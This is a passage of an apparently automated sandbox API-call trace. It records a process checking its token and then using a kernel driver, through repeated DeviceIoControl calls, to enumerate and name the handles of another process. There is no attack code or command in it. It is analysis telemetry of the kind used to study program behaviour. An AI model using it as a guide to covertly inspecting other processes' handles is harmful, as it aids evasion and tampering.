Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0122.648] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.648] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0122.648] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.648] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.648] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.648] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.648] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.650] CloseHandle (hObject=0xc8) returned 1 [0122.650] CloseHandle (hObject=0xc0) returned 1 [0122.650] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.650] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.650] PsAcquireProcessExitSynchronization () returned 0x0 [0122.650] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.650] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0122.650] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.650] PsReleaseProcessExitSynchronization () returned 0x2 [0122.650] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.650] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0122.650] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.650] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.650] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.650] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.650] PsAcquireProcessExitSynchronization () returned 0x0 [0122.650] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.650] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0122.651] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.651] PsReleaseProcessExitSynchronization () returned 0x2 [0122.651] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.651] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.651] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0122.651] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.651] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.651] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.651] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.651] PsAcquireProcessExitSynchronization () returned 0x0 [0122.651] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.651] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.651] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.651] PsReleaseProcessExitSynchronization () returned 0x2 [0122.651] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.651] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.651] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.651] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.651] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.651] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.651] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.651] PsAcquireProcessExitSynchronization () returned 0x0 [0122.651] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.651] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.651] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.651] PsReleaseProcessExitSynchronization () returned 0x2 [0122.651] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.651] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.651] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.651] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.652] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.652] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0122.652] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.652] PsAcquireProcessExitSynchronization () returned 0x0 [0122.652] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.652] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0122.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.652] PsReleaseProcessExitSynchronization () returned 0x2 [0122.652] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.652] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.652] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0122.652] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.652] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.652] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0122.652] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.652] PsAcquireProcessExitSynchronization () returned 0x0 [0122.652] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.652] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0122.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.652] PsReleaseProcessExitSynchronization () returned 0x2 [0122.652] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.652] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0122.652] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0122.652] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.652] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.652] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0122.652] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.652] PsAcquireProcessExitSynchronization () returned 0x0 [0122.652] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.652] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0122.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.653] PsReleaseProcessExitSynchronization () returned 0x2 [0122.653] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.653] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.653] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0122.653] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0122.653] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.653] PsAcquireProcessExitSynchronization () returned 0x0 [0122.653] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.653] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0122.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.653] PsReleaseProcessExitSynchronization () returned 0x2 [0122.653] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.653] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.653] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0122.653] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0122.653] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.653] PsAcquireProcessExitSynchronization () returned 0x0 [0122.653] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.653] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0122.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.653] PsReleaseProcessExitSynchronization () returned 0x2 [0122.653] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.653] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.653] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0122.653] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0122.654] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.654] PsAcquireProcessExitSynchronization () returned 0x0 [0122.654] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.654] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0122.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.654] PsReleaseProcessExitSynchronization () returned 0x2 [0122.654] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.654] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.654] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0122.654] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.654] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.654] PsAcquireProcessExitSynchronization () returned 0x0 [0122.654] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.654] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0122.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.654] PsReleaseProcessExitSynchronization () returned 0x2 [0122.654] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.654] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.654] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0122.654] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.654] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.655] PsAcquireProcessExitSynchronization () returned 0x0 [0122.655] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.655] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0122.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.655] PsReleaseProcessExitSynchronization () returned 0x2 [0122.655] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.655] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.655] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0122.655] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0122.655] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.655] PsAcquireProcessExitSynchronization () returned 0x0 [0122.655] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.655] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0122.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.655] PsReleaseProcessExitSynchronization () returned 0x2 [0122.655] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.655] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.655] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0122.655] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0122.655] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.655] PsAcquireProcessExitSynchronization () returned 0x0 [0122.655] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.655] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0122.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.655] PsReleaseProcessExitSynchronization () returned 0x2 [0122.656] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0122.656] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.656] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0122.656] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0122.656] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.656] PsAcquireProcessExitSynchronization () returned 0x0 [0122.656] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880044355d0) [0122.656] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0122.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.656] PsReleaseProcessExitSynchronization () 